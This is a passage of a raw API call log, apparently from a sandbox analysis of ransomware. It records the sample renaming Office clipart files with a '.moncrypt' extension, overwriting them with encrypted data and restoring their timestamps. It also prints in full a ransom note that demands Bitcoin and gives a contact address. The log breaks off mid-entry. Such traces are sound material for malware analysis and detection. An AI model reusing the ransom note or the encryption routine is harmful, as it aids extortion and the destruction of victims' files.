FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.111] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.111] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.111] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF", dwFileAttributes=0x20) returned 1 [0060.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.112] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.moncrypt")) returned 1 [0060.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.113] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.113] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x17ac [0060.113] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.113] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x17ac, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x17ac, lpOverlapped=0x0) returned 1 [0060.115] GlobalLock (hMem=0x440004) returned 0x550170 [0060.115] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.115] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.115] GlobalUnlock (hMem=0x440004) returned 0 [0060.115] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.115] GlobalUnlock (hMem=0x44000c) returned 0 [0060.115] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.115] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.115] GlobalUnlock (hMem=0x44000c) returned 0 [0060.115] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.115] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x17c0, lpOverlapped=0x0) returned 1 [0060.116] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.116] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.127] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.127] CloseHandle (hObject=0x188) returned 1 [0060.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.130] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.130] CloseHandle (hObject=0x188) returned 1 [0060.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.130] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.131] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.131] GlobalUnlock (hMem=0x44000c) returned 0 [0060.131] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.131] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.131] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.131] GlobalUnlock (hMem=0x44000c) returned 0 [0060.131] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.131] GlobalUnlock (hMem=0x440004) returned 0 [0060.131] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.131] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.131] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.131] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.131] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.131] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.131] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.131] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.132] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.132] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.132] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.132] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.132] CloseHandle (hObject=0x188) returned 1 [0060.132] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0060.132] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.132] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.132] GlobalLock (hMem=0x440004) returned 0x550170 [0060.132] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.132] GlobalUnlock (hMem=0x440004) returned 0 [0060.132] GlobalLock (hMem=0x440004) returned 0x550170 [0060.132] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.132] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.132] GlobalUnlock (hMem=0x440004) returned 0 [0060.132] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.132] GlobalUnlock (hMem=0x44000c) returned 0 [0060.132] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.133] CharLowerBuffW (in: lpsz="AN04134_.WMF", cchLength=0xc | out: lpsz="an04134_.wmf") returned 0xc [0060.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.133] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN04134_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.133] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.133] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.133] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.134] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF", dwFileAttributes=0x20) returned 1 [0060.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.moncrypt")) returned 1 [0060.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.135] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.135] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0xd58 [0060.135] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.135] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0xd58, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0xd58, lpOverlapped=0x0) returned 1 [0060.142] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.142] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.143] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.143] GlobalUnlock (hMem=0x44000c) returned 0 [0060.143] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.143] GlobalUnlock (hMem=0x440004) returned 0 [0060.143] GlobalLock (hMem=0x440004) returned 0x550170 [0060.143] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.143] GlobalUnlock (hMem=0x440004) returned 0 [0060.143] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.143] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0xd70, lpOverlapped=0x0) returned 1 [0060.143] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.143] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.154] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.154] CloseHandle (hObject=0x188) returned 1 [0060.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.155] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.155] CloseHandle (hObject=0x188) returned 1 [0060.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.156] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.156] GlobalLock (hMem=0x440004) returned 0x550170 [0060.156] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.156] GlobalUnlock (hMem=0x440004) returned 0 [0060.156] GlobalLock (hMem=0x440004) returned 0x550170 [0060.156] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.156] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.156] GlobalUnlock (hMem=0x440004) returned 0 [0060.156] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.156] GlobalUnlock (hMem=0x44000c) returned 0 [0060.157] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.157] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.157] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.157] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.157] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.157] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.157] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.157] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.157] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.157] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.157] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.157] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.157] CloseHandle (hObject=0x188) returned 1 [0060.158] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, 